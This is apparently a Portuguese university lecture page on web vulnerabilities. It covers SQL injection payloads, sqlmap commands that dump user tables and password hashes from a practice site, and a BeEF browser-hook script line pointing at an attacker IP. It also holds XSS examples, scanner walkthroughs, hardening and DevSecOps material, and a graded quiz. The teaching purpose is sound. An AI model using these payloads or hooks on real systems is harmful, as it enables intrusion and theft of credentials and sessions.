Logo UFPR Logo Licenciatura em Computação

CÓDIGO DA DISCIPLINA: DEE345

SEGURANÇA DIGITAL - Aula 11

Professor Jéfer Benedett Dörr

Prof. Jéfer Benedett Dörr

Departamento de Engenharias e Exatas - UFPR/Palotina

Docente de Segurança da Informação

Aula 11: Vulnerabilidades Web e Injeção de Código

Objetivos de Aprendizagem

1. OWASP Top 10 & Contexto

O OWASP Top 10 lista as 10 vulnerabilidades mais críticas em aplicações web:

Ferramentas

Prática: Mapeie um site vulnerável com Burp Suite e analise dependências com Dependency-Check.

2. SQL Injection

Permite injetar comandos SQL maliciosos para ler, modificar ou excluir dados.

2.1 Exemplos Manuais


?user=admin' OR '1'='1' --
?item=10 UNION SELECT username, password FROM users
  

2.2 Prática com sqlmap


# Listar bancos
sqlmap -u "http://alvo.com/vuln.php?id=1" --dbs

# Listar tabelas de 'loja'
sqlmap -u "...?id=1" -D loja --tables

# Listar colunas de 'clientes'
sqlmap -u "...?id=1" -D loja -T clientes --columns

# Extrair nome e email
sqlmap -u "...?id=1" -D loja -T clientes -C "nome,email" --dump

# Blind SQLi
sqlmap -u "...?id=1" --technique=T --dbs
  

Prática Guiada: SQLi com sqlmap

  1. 1. Descobrindo o SGBD e versão (-b)

    > sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -b

    Este comando faz o “banner grabbing” do SGBD remoto, exibindo nome, versão e detalhes do servidor: MySQL, PostgreSQL, etc.

  2. 2. Banco de dados atual (--current-db)

    > ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db

    Mostra qual é o banco de dados padrão que a aplicação está usando (por exemplo, acuart).

  3. 3. Listando todos os bancos (--dbs)

    > ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

    Enumera todos os esquemas/bancos disponíveis no servidor para escolher seu alvo.

  4. 4. Listando tabelas de um banco (-D … --tables)

    > ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables

    Seleciona o banco acuart e mostra todas as tabelas que ele contém.

  5. 5. Listando colunas de uma tabela (-D … -T … --columns)

    > ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns

    Foca na tabela users dentro do banco acuart e lista os nomes de todas as colunas.

  6. 6. Extraindo campos específicos (-C … --dump)

    > ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" \
      -D acuart -T users -C "uname,pass" --dump
    

    Informa as colunas uname e pass da tabela users e “dumps” os valores (usuários e hashes de senha).

  7. 7. Dump completo do banco (--dump-all)

    > ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" \
      -D acuart --dump-all
    

    Automatiza toda a sequência: para cada tabela em acuart faz --tables, --columns e --dump, coletando todos os dados.

Dicas Práticas

  • Use sempre opções como --batch para evitar prompts interativos em laboratórios.
  • Combine --level e --risk para ajustar a agressividade dos testes (ex.: --level=3 --risk=2).
  • Verifique o firewall/IPS local se os testes não retornam respostas esperadas.
  • Documente cada comando e resultado em um relatório.

2.3 Mitigação


# PHP com prepared statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
  

Ferramentas

Havij: Exemplo Básico de Uso:

  1. Configuração Inicial:
    • Baixe e instale o Havij (apenas para fins educacionais)
    • Execute como administrador (requer .NET Framework)
  2. Teste Simples:
    • No campo "Target URL", insira: http://site-teste.com/login.php?id=1
    • Clique em "Analyze" para detectar vulnerabilidades
  3. Resultados:
    • Se vulnerável, o Havij mostrará:
      • Nomes de bancos de dados
      • Tabelas detectadas
      • Possibilidade de extrair dados

Aviso Legal: O uso não autorizado é crime. Utilize apenas em sistemas próprios ou com permissão por escrito.

3. Cross-Site Scripting (XSS)

Execução de scripts no navegador de vítimas:

XSS executa scripts maliciosos no navegador, roubando dados ou controlando sessões.

3.1 Tipos

3.2 Exemplo de Payload






  

3.3 Prevenção


# Configurar CSP no Apache
Header set Content-Security-Policy "default-src 'self'; script-src 'self'"
  

Ferramentas

Ferramentas de Teste XSS

Exemplo de saída:

  [*] Testing URL: http://alvo.com/search?q=test
  [+] Vuln found in parameter: q
  [✓] Payload: <svg/onload=alert(1)>
  [→] Bypassed filters: script,alert

Requisitos: Python 3.x, bibliotecas (bs4, requests, fuzzywuzzy)

Ferramentas de Exploração de Navegadores

Exemplo Básico de Uso:

  1. Inicialização:
    • sudo beef-xss
    • Acessar painel: http://localhost:3000/ui/panel
    • Login padrão: beef / beef
  2. Hook Básico:
    • Injetar hook em página vulnerável:
      <script src="http://SEU_IP:3000/hook.js"></script>
    • Quando vítima acessar, aparecerá no painel
  3. Comandos Básicos:
    • Informações do navegador (Modulo → Browser → Get Browser Details)
    • Redirecionamento (Modulo → Network → Redirect Browser)
    • Keylogger (Modulo → Exploits → Webcam → Fake Flash Update)

Exemplo de Relatório:

  [*] Browser Hooked: 192.168.1.100
  [+] Browser: Chrome 114 (Windows 10)
  [+] Plugins: PDF Viewer, Flash
  [✓] Vulnerável: Redirecionamento via DOM

Aviso Legal: Uso restrito a ambientes controlados com autorização.

4. Ferramentas para Testes Web

Prática: Escaneie um site com ZAP, Nikto e Arachni, e teste um site WordPress com Metasploit.

Prática Guiada – VEGA Web Application Tester

  1. Instalação
    • No Debian/Ubuntu: sudo apt-get update && sudo apt-get install vega
    • Alternativa manual: baixe o ZIP em https://subgraph.com/vega/ e descompacte.
  2. Inicialização
    • Execute no terminal: vega
    • A interface Java vai abrir; crie um novo “Workspace” para este laboratório.
  3. Configurar Proxy (opcional)
    • Caso queira interceptar requisições de navegador, em Preferences → Proxy habilite o “Local Proxy” (padrão 127.0.0.1:1234) e configure seu browser para usar esse proxy.
  4. Adicionar URL-alvo
    • No painel “Sites”, clique em “New” e informe, por exemplo,
    http://testphp.vulnweb.com
    • O VEGA irá mapear automaticamente o site (crawler integrado).
  5. Executar Scanner Automático
    • Selecione seu alvo na lista e clique em “Scan”
    • Marque módulos como “SQL Injection”, “Cross-Site Scripting” e “Directory Traversal”
    • Clique em “Start Scan” e aguarde o VEGA identificar vulnerabilidades.
  6. Analisar Resultados
    • Abra a aba “Alerts” para ver cada vulnerabilidade detectada.
    • Exemplo: um alerta de SQLi em /listproducts.php?cat=1 mostra payloads testados e resposta do servidor.
    • Clique em cada item para ver detalhes e evidências.
  7. Exemplo Prático
    • Alvo: http://testphp.vulnweb.com/listproducts.php?cat=1
    • VEGA aponta parâmetros vulneráveis e sugere payloads como ' OR '1'='1.
    • Confirme manualmente no navegador: http://…?cat=1' OR '1'='1 e verifique se retorna todo o catálogo.
  8. Gerar Relatório
    • Em “Report → Export” escolha PDF ou HTML para documentar suas descobertas.
    • Inclua evidências, payloads utilizados e recomendações de correção.

5. Validação / Sanitização & OSINT

Ferramentas

Prática: Realize footprinting com theharvester e implemente sanitização em PHP.

6. Hardening de Servidor Web

Ferramentas

Prática: Configure hardening em Apache e audite com Lynis.

7. Construindo Software Seguro (DevSecOps)

CI/CD Seguro: Definição e Componentes

Exemplo de Boas Práticas:


# GitLab CI/CD seguro (.gitlab-ci.yml)
stages:
  - security-scan
  - build
  
sonarqube-check:
  stage: security-scan
  script:
    - docker run --rm -v $(pwd):/src owasp/zap2docker zap-baseline.py -t $URL

deploy-prod:
  stage: build
  only:
    - main
  rules:
    - if: $CI_COMMIT_TAG =~ /^v\d+\.\d+\.\d+$/
  

Ferramentas Seguras: GitLab SAST, OWASP ZAP, HashiCorp Vault (gestão de segredos)

8. Cultura Digital e Segurança Web

Como futuros educadores, conecte com:

Ferramentas

9. Técnicas Avançadas e Ferramentas Complementares

9.1 SQL Injection Avançado

9.2 XSS Avançado

9.3 Scanners Complementares

9.4 Hardening de Servidor Web

SSLScan: Ferramenta de Análise SSL/TLS

Exemplo Prático:

$ sslscan github.com
SSLScan v2.0.15
Testing SSL server github.com on port 443

  Supported Server Cipher(s):
    Accepted  TLSv1.2  256 bits  AES256-GCM-SHA384
    Accepted  TLSv1.2  128 bits  AES128-GCM-SHA256
    Rejected  TLSv1.2  112 bits  DES-CBC3-SHA (weak)
  
  SSL Certificate:
    Signature Algorithm: sha256WithRSAEncryption
    Issuer: DigiCert Inc
    Not valid after:  2024-03-15 23:59:59

Opções Úteis:

Dica de Segurança: Cifras marcadas como "weak" devem ser desabilitadas no servidor.

9.5 DevSecOps e CI/CD Seguro

Quiz de Avaliação – Técnicas Avançadas e Ferramentas Complementares

1. Qual comando usa wfuzz para descobrir parâmetros vulneráveis retornando respostas 404?

CORRETO! O comando correto é o que usa `-z file,/usr/share/wordlists/dirb/common.txt` e `--hc 404` para ocultar respostas 404.
INCORRETO. Verifique a sintaxe: precisa usar `wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404`.

2. Qual opção do sqlmap faz uso de tamper scripts como space2comment?

CORRETO! A opção é `--tamper=space2comment,between`, separando por vírgula os scripts desejados.
INCORRETO. Use `--tamper=` seguido da lista de scripts, não outras sintaxes.

3. Para evitar XSS no DOM, qual método do JavaScript é preferido em vez de innerHTML?

CORRETO! `textContent` insere somente texto, evitando a interpretação de HTML malicioso.
INCORRETO. `innerHTML` e `insertHTML` podem permitir XSS; `textContent` é seguro.

4. Qual comando usa Nikto para varredura rápida em http://alvo.com?

CORRETO! A sintaxe correta é `nikto -h http://alvo.com -Tuning 9`.
INCORRETO. Use `-h` para host e `-Tuning` para ajustar a profundidade.

5. Qual cabeçalho adiciona proteção contra MIME-sniffing?

CORRETO! `X-Content-Type-Options: nosniff` impede que navegadores façam MIME sniffing.
INCORRETO. Esse cabeçalho específico é para evitar sniffing de tipos MIME.

6. Qual configuração Nginx adiciona o header Referrer-Policy?

CORRETO! A diretiva correta é `add_header Referrer-Policy "strict-origin";`.
INCORRETO. É preciso usar exatamente `Referrer-Policy`, não `Referrer`.

7. Em DevSecOps, qual GitHub Action executa OWASP Dependency-Check?

CORRETO! O action oficial é `owasp/dependency-check-action@v2`.
INCORRETO. Use exatamente `owasp/dependency-check-action@v2`.

8. Qual comando usa sslscan para verificar configurações TLS do domínio alvo.com?

CORRETO! Basta executar `sslscan alvo.com` para obter detalhes TLS.
INCORRETO. O comando dominante é `sslscan alvo.com`, sem flags adicionais.